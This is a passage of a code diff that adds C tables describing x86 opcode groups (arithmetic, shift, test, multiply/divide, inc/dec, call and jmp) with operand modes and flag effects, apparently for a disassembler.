+ { NOGROUP, CPU_I386, ITYPE_SUB, "sub", { AMODE_E | OPTYPE_b | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x05 */
+ { NOGROUP, CPU_I386, ITYPE_XOR, "xor", { AMODE_E | OPTYPE_b | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_OF_CLR | FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_CLR, NOACTION, IGNORED }, /* 0x06 */
+ { NOGROUP, CPU_I386, ITYPE_CMP, "cmp", { AMODE_E | OPTYPE_b | OP_SRC, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x07 */
+};
+
+X86_OPCODE X86_Group_1_81[8] = // 81
+{
+ { NOGROUP, CPU_I386, ITYPE_ADD, "add", { AMODE_E | OPTYPE_v | OP_DST, AMODE_I | OPTYPE_z | OP_SRC, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x00 */
+ { NOGROUP, CPU_I386, ITYPE_OR, "or", { AMODE_E | OPTYPE_v | OP_DST, AMODE_I | OPTYPE_z | OP_SRC, 0 }, NOCOND, FLAG_OF_CLR | FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_CLR, NOACTION, IGNORED }, /* 0x01 */
+ { NOGROUP, CPU_I386, ITYPE_ADD, "adc", { AMODE_E | OPTYPE_v | OP_DST, AMODE_I | OPTYPE_z | OP_SRC, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x02 */
+ { NOGROUP, CPU_I386, ITYPE_SUB, "sbb", { AMODE_E | OPTYPE_v | OP_DST, AMODE_I | OPTYPE_z | OP_SRC, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x03 */
+ { NOGROUP, CPU_I386, ITYPE_AND, "and", { AMODE_E | OPTYPE_v | OP_DST, AMODE_I | OPTYPE_z | OP_SRC, 0 }, NOCOND, FLAG_OF_CLR | FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_CLR, NOACTION, IGNORED }, /* 0x04 */
+ { NOGROUP, CPU_I386, ITYPE_SUB, "sub", { AMODE_E | OPTYPE_v | OP_DST, AMODE_I | OPTYPE_z | OP_SRC, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x05 */
+ { NOGROUP, CPU_I386, ITYPE_XOR, "xor", { AMODE_E | OPTYPE_v | OP_DST, AMODE_I | OPTYPE_z | OP_SRC, 0 }, NOCOND, FLAG_OF_CLR | FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_CLR, NOACTION, IGNORED }, /* 0x06 */
+ { NOGROUP, CPU_I386, ITYPE_CMP, "cmp", { AMODE_E | OPTYPE_v | OP_SRC, AMODE_I | OPTYPE_z | OP_SRC, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x07 */
+};
+
+X86_OPCODE X86_Group_1_82[8] = // 82
+{
+ { NOGROUP, CPU_I386, ITYPE_ADD, "add", { AMODE_E | OPTYPE_v | OP_SIGNED | OP_DST, AMODE_I | OPTYPE_b | OP_SIGNED | OP_SRC, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x00 */
+ { NOGROUP, CPU_I386, ITYPE_OR, "or", { AMODE_E | OPTYPE_v | OP_SIGNED | OP_DST, AMODE_I | OPTYPE_b | OP_SIGNED | OP_SRC, 0 }, NOCOND, FLAG_OF_CLR | FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_CLR, NOACTION, IGNORED }, /* 0x01 */
+ { NOGROUP, CPU_I386, ITYPE_ADD, "adc", { AMODE_E | OPTYPE_v | OP_SIGNED | OP_DST, AMODE_I | OPTYPE_b | OP_SIGNED | OP_SRC, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x02 */
+ { NOGROUP, CPU_I386, ITYPE_SUB, "sbb", { AMODE_E | OPTYPE_v | OP_SIGNED | OP_DST, AMODE_I | OPTYPE_b | OP_SIGNED | OP_SRC, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x03 */
+ { NOGROUP, CPU_I386, ITYPE_AND, "and", { AMODE_E | OPTYPE_v | OP_SIGNED | OP_DST, AMODE_I | OPTYPE_b | OP_SIGNED | OP_SRC, 0 }, NOCOND, FLAG_OF_CLR | FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_CLR, NOACTION, IGNORED }, /* 0x04 */
+ { NOGROUP, CPU_I386, ITYPE_SUB, "sub", { AMODE_E | OPTYPE_v | OP_SIGNED | OP_DST, AMODE_I | OPTYPE_b | OP_SIGNED | OP_SRC, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x05 */
+ { NOGROUP, CPU_I386, ITYPE_XOR, "xor", { AMODE_E | OPTYPE_v | OP_SIGNED | OP_DST, AMODE_I | OPTYPE_b | OP_SIGNED | OP_SRC, 0 }, NOCOND, FLAG_OF_CLR | FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_CLR, NOACTION, IGNORED }, /* 0x06 */
+ { NOGROUP, CPU_I386, ITYPE_CMP, "cmp", { AMODE_E | OPTYPE_v | OP_SIGNED | OP_SRC, AMODE_I | OPTYPE_b | OP_SIGNED | OP_SRC, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x07 */
+};
+
+X86_OPCODE X86_Group_1_83[8] = // 83
+{
+ { NOGROUP, CPU_I386, ITYPE_ADD, "add", { AMODE_E | OPTYPE_v | OP_SIGNED | OP_DST, AMODE_I | OPTYPE_b | OP_SIGNED | OP_SRC, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x00 */
+ { NOGROUP, CPU_I386, ITYPE_OR, "or", { AMODE_E | OPTYPE_v | OP_SIGNED | OP_DST, AMODE_I | OPTYPE_b | OP_SIGNED | OP_SRC, 0 }, NOCOND, FLAG_OF_CLR | FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_CLR, NOACTION, IGNORED }, /* 0x01 */
+ { NOGROUP, CPU_I386, ITYPE_ADD, "adc", { AMODE_E | OPTYPE_v | OP_SIGNED | OP_DST, AMODE_I | OPTYPE_b | OP_SIGNED | OP_SRC, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x02 */
+ { NOGROUP, CPU_I386, ITYPE_SUB, "sbb", { AMODE_E | OPTYPE_v | OP_SIGNED | OP_DST, AMODE_I | OPTYPE_b | OP_SIGNED | OP_SRC, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x03 */
+ { NOGROUP, CPU_I386, ITYPE_AND, "and", { AMODE_E | OPTYPE_v | OP_SIGNED | OP_DST, AMODE_I | OPTYPE_b | OP_SIGNED | OP_SRC, 0 }, NOCOND, FLAG_OF_CLR | FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_CLR, NOACTION, IGNORED }, /* 0x04 */
+ { NOGROUP, CPU_I386, ITYPE_SUB, "sub", { AMODE_E | OPTYPE_v | OP_SIGNED | OP_DST, AMODE_I | OPTYPE_b | OP_SIGNED | OP_SRC, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x05 */
+ { NOGROUP, CPU_I386, ITYPE_XOR, "xor", { AMODE_E | OPTYPE_v | OP_SIGNED | OP_DST, AMODE_I | OPTYPE_b | OP_SIGNED | OP_SRC, 0 }, NOCOND, FLAG_OF_CLR | FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_CLR, NOACTION, IGNORED }, /* 0x06 */
+ { NOGROUP, CPU_I386, ITYPE_CMP, "cmp", { AMODE_E | OPTYPE_v | OP_SIGNED | OP_SRC, AMODE_I | OPTYPE_b | OP_SIGNED | OP_SRC, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x07 */
+};
+
+X86_OPCODE X86_Group_2_C0[8] = // C0
+{
+ { NOGROUP, CPU_I386, ITYPE_ROL, "rol", { AMODE_E | OPTYPE_b | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x00 */
+ { NOGROUP, CPU_I386, ITYPE_ROR, "ror", { AMODE_E | OPTYPE_b | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x01 */
+ { NOGROUP, CPU_I386, ITYPE_ROL, "rcl", { AMODE_E | OPTYPE_b | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x02 */
+ { NOGROUP, CPU_I386, ITYPE_ROR, "rcr", { AMODE_E | OPTYPE_b | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x03 */
+ { NOGROUP, CPU_I386, ITYPE_SHL, "shl", { AMODE_E | OPTYPE_b | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x04 */
+ { NOGROUP, CPU_I386, ITYPE_SHR, "shr", { AMODE_E | OPTYPE_b | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x05 */
+ { NOGROUP, CPU_I386, ITYPE_SHL, "sal", { AMODE_E | OPTYPE_b | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x06 */
+ { NOGROUP, CPU_I386, ITYPE_SHR, "sar", { AMODE_E | OPTYPE_b | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x07 */
+};
+
+X86_OPCODE X86_Group_2_C1[8] = // C1
+{
+ { NOGROUP, CPU_I386, ITYPE_ROL, "rol", { AMODE_E | OPTYPE_v | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_OF_MOD, NOACTION, IGNORED }, /* 0x00 */
+ { NOGROUP, CPU_I386, ITYPE_ROR, "ror", { AMODE_E | OPTYPE_v | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_OF_MOD, NOACTION, IGNORED }, /* 0x01 */
+ { NOGROUP, CPU_I386, ITYPE_ROL, "rcl", { AMODE_E | OPTYPE_v | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x02 */
+ { NOGROUP, CPU_I386, ITYPE_ROR, "rcr", { AMODE_E | OPTYPE_v | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x03 */
+ { NOGROUP, CPU_I386, ITYPE_SHL, "shl", { AMODE_E | OPTYPE_v | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x04 */
+ { NOGROUP, CPU_I386, ITYPE_SHR, "shr", { AMODE_E | OPTYPE_v | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x05 */
+ { NOGROUP, CPU_I386, ITYPE_SHL, "sal", { AMODE_E | OPTYPE_v | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x06 */
+ { NOGROUP, CPU_I386, ITYPE_SHR, "sar", { AMODE_E | OPTYPE_v | OP_DST, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x07 */
+};
+
+X86_OPCODE X86_Group_2_D0[8] = // D0
+{
+ { NOGROUP, CPU_I386, ITYPE_ROL, "rol", { AMODE_E | OPTYPE_b | OP_DST, AMODE_I | OPTYPE_1 | OP_SRC, 0 }, NOCOND, FLAG_OF_MOD | FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x00 */
+ { NOGROUP, CPU_I386, ITYPE_ROR, "ror", { AMODE_E | OPTYPE_b | OP_DST, AMODE_I | OPTYPE_1 | OP_SRC, 0 }, NOCOND, FLAG_OF_MOD | FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x01 */
+ { NOGROUP, CPU_I386, ITYPE_ROL, "rcl", { AMODE_E | OPTYPE_b | OP_DST, AMODE_I | OPTYPE_1 | OP_SRC, 0 }, NOCOND, FLAG_OF_MOD | FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x02 */
+ { NOGROUP, CPU_I386, ITYPE_ROR, "rcr", { AMODE_E | OPTYPE_b | OP_DST, AMODE_I | OPTYPE_1 | OP_SRC, 0 }, NOCOND, FLAG_OF_MOD | FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x03 */
+ { NOGROUP, CPU_I386, ITYPE_SHL, "shl", { AMODE_E | OPTYPE_b | OP_DST, AMODE_I | OPTYPE_1 | OP_SRC, 0 }, NOCOND, FLAG_OF_MOD | FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x04 */
+ { NOGROUP, CPU_I386, ITYPE_SHR, "shr", { AMODE_E | OPTYPE_b | OP_DST, AMODE_I | OPTYPE_1 | OP_SRC, 0 }, NOCOND, FLAG_OF_MOD | FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x05 */
+ { NOGROUP, CPU_I386, ITYPE_SHL, "sal", { AMODE_E | OPTYPE_b | OP_DST, AMODE_I | OPTYPE_1 | OP_SRC, 0 }, NOCOND, FLAG_OF_MOD | FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x06 */
+ { NOGROUP, CPU_I386, ITYPE_SHR, "sar", { AMODE_E | OPTYPE_b | OP_DST, AMODE_I | OPTYPE_1 | OP_SRC, 0 }, NOCOND, FLAG_OF_MOD | FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x07 */
+};
+
+X86_OPCODE X86_Group_2_D1[8] = // D1
+{
+ { NOGROUP, CPU_I386, ITYPE_ROL, "rol", { AMODE_E | OPTYPE_v | OP_DST, AMODE_I | OPTYPE_1 | OP_SRC, 0 }, NOCOND, FLAG_OF_MOD | FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x00 */
+ { NOGROUP, CPU_I386, ITYPE_ROR, "ror", { AMODE_E | OPTYPE_v | OP_DST, AMODE_I | OPTYPE_1 | OP_SRC, 0 }, NOCOND, FLAG_OF_MOD | FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x01 */
+ { NOGROUP, CPU_I386, ITYPE_ROL, "rcl", { AMODE_E | OPTYPE_v | OP_DST, AMODE_I | OPTYPE_1 | OP_SRC, 0 }, NOCOND, FLAG_OF_MOD | FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x02 */
+ { NOGROUP, CPU_I386, ITYPE_ROR, "rcr", { AMODE_E | OPTYPE_v | OP_DST, AMODE_I | OPTYPE_1 | OP_SRC, 0 }, NOCOND, FLAG_OF_MOD | FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x03 */
+ { NOGROUP, CPU_I386, ITYPE_SHL, "shl", { AMODE_E | OPTYPE_v | OP_DST, AMODE_I | OPTYPE_1 | OP_SRC, 0 }, NOCOND, FLAG_OF_MOD | FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x04 */
+ { NOGROUP, CPU_I386, ITYPE_SHR, "shr", { AMODE_E | OPTYPE_v | OP_DST, AMODE_I | OPTYPE_1 | OP_SRC, 0 }, NOCOND, FLAG_OF_MOD | FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x05 */
+ { NOGROUP, CPU_I386, ITYPE_SHL, "sal", { AMODE_E | OPTYPE_v | OP_DST, AMODE_I | OPTYPE_1 | OP_SRC, 0 }, NOCOND, FLAG_OF_MOD | FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x06 */
+ { NOGROUP, CPU_I386, ITYPE_SHR, "sar", { AMODE_E | OPTYPE_v | OP_DST, AMODE_I | OPTYPE_1 | OP_SRC, 0 }, NOCOND, FLAG_OF_MOD | FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x07 */
+};
+
+X86_OPCODE X86_Group_2_D2[8] = // D2
+{
+ { NOGROUP, CPU_I386, ITYPE_ROL, "rol", { AMODE_E | OPTYPE_b | OP_DST, OPTYPE_REG_CL | OP_SRC, 0 }, NOCOND, FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x00 */
+ { NOGROUP, CPU_I386, ITYPE_ROR, "ror", { AMODE_E | OPTYPE_b | OP_DST, OPTYPE_REG_CL | OP_SRC, 0 }, NOCOND, FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x01 */
+ { NOGROUP, CPU_I386, ITYPE_ROL, "rcl", { AMODE_E | OPTYPE_b | OP_DST, OPTYPE_REG_CL | OP_SRC, 0 }, NOCOND, FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x02 */
+ { NOGROUP, CPU_I386, ITYPE_ROR, "rcr", { AMODE_E | OPTYPE_b | OP_DST, OPTYPE_REG_CL | OP_SRC, 0 }, NOCOND, FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x03 */
+ { NOGROUP, CPU_I386, ITYPE_SHL, "shl", { AMODE_E | OPTYPE_b | OP_DST, OPTYPE_REG_CL | OP_SRC, 0 }, NOCOND, FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x04 */
+ { NOGROUP, CPU_I386, ITYPE_SHR, "shr", { AMODE_E | OPTYPE_b | OP_DST, OPTYPE_REG_CL | OP_SRC, 0 }, NOCOND, FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x05 */
+ { NOGROUP, CPU_I386, ITYPE_SHL, "sal", { AMODE_E | OPTYPE_b | OP_DST, OPTYPE_REG_CL | OP_SRC, 0 }, NOCOND, FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x06 */
+ { NOGROUP, CPU_I386, ITYPE_SHR, "sar", { AMODE_E | OPTYPE_b | OP_DST, OPTYPE_REG_CL | OP_SRC, 0 }, NOCOND, FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x07 */
+};
+
+X86_OPCODE X86_Group_2_D3[8] = // D3
+{
+ { NOGROUP, CPU_I386, ITYPE_ROL, "rol", { AMODE_E | OPTYPE_v | OP_DST, OPTYPE_REG_CL | OP_SRC, 0 }, NOCOND, FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x00 */
+ { NOGROUP, CPU_I386, ITYPE_ROR, "ror", { AMODE_E | OPTYPE_v | OP_DST, OPTYPE_REG_CL | OP_SRC, 0 }, NOCOND, FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x01 */
+ { NOGROUP, CPU_I386, ITYPE_ROL, "rcl", { AMODE_E | OPTYPE_v | OP_DST, OPTYPE_REG_CL | OP_SRC, 0 }, NOCOND, FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x02 */
+ { NOGROUP, CPU_I386, ITYPE_ROR, "rcr", { AMODE_E | OPTYPE_v | OP_DST, OPTYPE_REG_CL | OP_SRC, 0 }, NOCOND, FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x03 */
+ { NOGROUP, CPU_I386, ITYPE_SHL, "shl", { AMODE_E | OPTYPE_v | OP_DST, OPTYPE_REG_CL | OP_SRC, 0 }, NOCOND, FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x04 */
+ { NOGROUP, CPU_I386, ITYPE_SHR, "shr", { AMODE_E | OPTYPE_v | OP_DST, OPTYPE_REG_CL | OP_SRC, 0 }, NOCOND, FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x05 */
+ { NOGROUP, CPU_I386, ITYPE_SHL, "sal", { AMODE_E | OPTYPE_v | OP_DST, OPTYPE_REG_CL | OP_SRC, 0 }, NOCOND, FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x06 */
+ { NOGROUP, CPU_I386, ITYPE_SHR, "sar", { AMODE_E | OPTYPE_v | OP_DST, OPTYPE_REG_CL | OP_SRC, 0 }, NOCOND, FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x07 */
+};
+
+X86_OPCODE X86_Group_3_F6[8] = // F6
+{
+ { NOGROUP, CPU_I386, ITYPE_TEST, "test", { AMODE_E | OPTYPE_b | OP_SRC, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_OF_CLR | FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_CLR, NOACTION, IGNORED }, /* 0x00 */
+ { NOGROUP, CPU_I386, ITYPE_TEST, "test", { AMODE_E | OPTYPE_b | OP_SRC, AMODE_I | OPTYPE_b | OP_SRC, 0 }, NOCOND, FLAG_OF_CLR | FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_CLR, NOACTION, IGNORED }, /* 0x01 */
+ { NOGROUP, CPU_I386, ITYPE_NOT, "not", { AMODE_E | OPTYPE_b | OP_SRC | OP_DST, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x02 */
+ { NOGROUP, CPU_I386, ITYPE_NEG, "neg", { AMODE_E | OPTYPE_b | OP_SRC | OP_DST, 0, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x03 */
+ { NOGROUP, CPU_I386, ITYPE_MUL, "mul", { OPTYPE_REG_AX | OP_DST, AMODE_E | OPTYPE_b | OP_SRC, OPTYPE_REG_AL | OP_SRC }, NOCOND, FLAG_OF_MOD | FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x04 */
+ { NOGROUP, CPU_I386, ITYPE_MUL, "imul", { OPTYPE_REG_AX | OP_SIGNED | OP_DST, AMODE_E | OPTYPE_b | OP_SIGNED | OP_SRC, OPTYPE_REG_AL | OP_SIGNED | OP_SRC }, NOCOND, FLAG_OF_MOD | FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x05 */
+ { NOGROUP, CPU_I386, ITYPE_DIV, "div", { OPTYPE_REG_AX | OP_DST, AMODE_E | OPTYPE_b | OP_SRC, OPTYPE_REG_AX | OP_SRC }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x06 */
+ { NOGROUP, CPU_I386, ITYPE_DIV, "idiv", { OPTYPE_REG_AX | OP_SIGNED | OP_DST, AMODE_E | OPTYPE_b | OP_SIGNED | OP_SRC, OPTYPE_REG_AX | OP_SIGNED | OP_SRC }, NOCOND, NOCHANGE, NOACTION, IGNORED } /* 0x07 */,
+};
+
+X86_OPCODE X86_Group_3_F7[8] = // F7
+{
+ { NOGROUP, CPU_I386, ITYPE_TEST, "test", { AMODE_E | OPTYPE_v | OP_SRC, AMODE_I | OPTYPE_z | OP_SRC, 0 }, NOCOND, FLAG_OF_CLR | FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_CLR, NOACTION, IGNORED }, /* 0x00 */
+ { NOGROUP, CPU_I386, ITYPE_TEST, "test", { AMODE_E | OPTYPE_v | OP_SRC, AMODE_I | OPTYPE_z | OP_SRC, 0 }, NOCOND, FLAG_OF_CLR | FLAG_SF_MOD | FLAG_ZF_MOD | FLAG_PF_MOD | FLAG_CF_CLR, NOACTION, IGNORED }, /* 0x01 */
+ { NOGROUP, CPU_I386, ITYPE_NOT, "not", { AMODE_E | OPTYPE_v | OP_SRC | OP_DST, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x02 */
+ { NOGROUP, CPU_I386, ITYPE_NEG, "neg", { AMODE_E | OPTYPE_v | OP_SRC | OP_DST, 0, 0 }, NOCOND, FLAG_COMMON_MOD, NOACTION, IGNORED }, /* 0x03 */
+ { NOGROUP, CPU_I386, ITYPE_MUL, "mul", { OPTYPE_xDX_HI_xAX_LO | OP_DST, AMODE_E | OPTYPE_v | OP_SRC, OPTYPE_REG_xAX_BIG | OP_SRC }, NOCOND, FLAG_OF_MOD | FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x04 */
+ { NOGROUP, CPU_I386, ITYPE_MUL, "imul", { OPTYPE_xDX_HI_xAX_LO | OP_SIGNED | OP_DST, AMODE_E | OPTYPE_v | OP_SIGNED | OP_SRC, OPTYPE_REG_xAX_BIG | OP_SRC }, NOCOND, FLAG_OF_MOD | FLAG_CF_MOD, NOACTION, IGNORED }, /* 0x05 */
+ { NOGROUP, CPU_I386, ITYPE_DIV, "div", { OPTYPE_xDX_HI_xAX_LO | OP_DST, AMODE_E | OPTYPE_v | OP_SRC, OPTYPE_REG_xAX_BIG | OP_SRC }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x06 */
+ { NOGROUP, CPU_I386, ITYPE_DIV, "idiv", { OPTYPE_xDX_HI_xAX_LO | OP_SIGNED | OP_DST, AMODE_E | OPTYPE_v | OP_SIGNED | OP_SRC, OPTYPE_REG_xAX_BIG | OP_SRC }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x07 */
+};
+
+X86_OPCODE X86_Group_4[8] = // FE
+{
+ { NOGROUP, CPU_I386, ITYPE_INC, "inc", { AMODE_E | OPTYPE_b | OP_SRC | OP_DST, 0, 0 }, NOCOND, FLAG_OF_MOD|FLAG_SF_MOD|FLAG_ZF_MOD|FLAG_AF_MOD|FLAG_PF_MOD, NOACTION, IGNORED }, /* 0x00 */
+ { NOGROUP, CPU_I386, ITYPE_DEC, "dec", { AMODE_E | OPTYPE_b | OP_SRC | OP_DST, 0, 0 }, NOCOND, FLAG_OF_MOD|FLAG_SF_MOD|FLAG_ZF_MOD|FLAG_AF_MOD|FLAG_PF_MOD, NOACTION, IGNORED }, /* 0x01 */
+ { NOINSTR }, /* 0x03 */
+ { NOINSTR }, /* 0x04 */
+ { NOINSTR }, /* 0x05 */
+ { NOINSTR }, /* 0x06 */
+ { NOINSTR } /* 0x07 */
+};
+
+X86_OPCODE X86_Group_5[8] = // FF
+{
+ { NOGROUP, CPU_I386, ITYPE_INC, "inc", { AMODE_E | OPTYPE_v | OP_SRC | OP_DST, 0, 0 }, NOCOND, FLAG_OF_MOD|FLAG_SF_MOD|FLAG_ZF_MOD|FLAG_AF_MOD|FLAG_PF_MOD, NOACTION, IGNORED }, /* 0x00 */
+ { NOGROUP, CPU_I386, ITYPE_DEC, "dec", { AMODE_E | OPTYPE_v | OP_SRC | OP_DST, 0, 0 }, NOCOND, FLAG_OF_MOD|FLAG_SF_MOD|FLAG_ZF_MOD|FLAG_AF_MOD|FLAG_PF_MOD, NOACTION, IGNORED }, /* 0x01 */
+ { NOGROUP, CPU_I386, ITYPE_CALL, "call", { AMODE_E | OPTYPE_v | OP_SRC | OP_EXEC, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x02 */
+ { NOGROUP, CPU_I386, ITYPE_CALL, "call", { AMODE_E | OPTYPE_p | OP_SRC | OP_EXEC, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x03 */
+ { NOGROUP, CPU_I386, ITYPE_BRANCH, "jmp", { AMODE_E | OPTYPE_v | OP_SRC | OP_EXEC, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x04 */
+ { NOGROUP, CPU_I386, ITYPE_BRANCH, "jmp", { AMODE_E | OPTYPE_p | OP_SRC | OP_EXEC, 0, 0 }, NOCOND, NOCHANGE, NOACTION, IGNORED }, /* 0x05 */
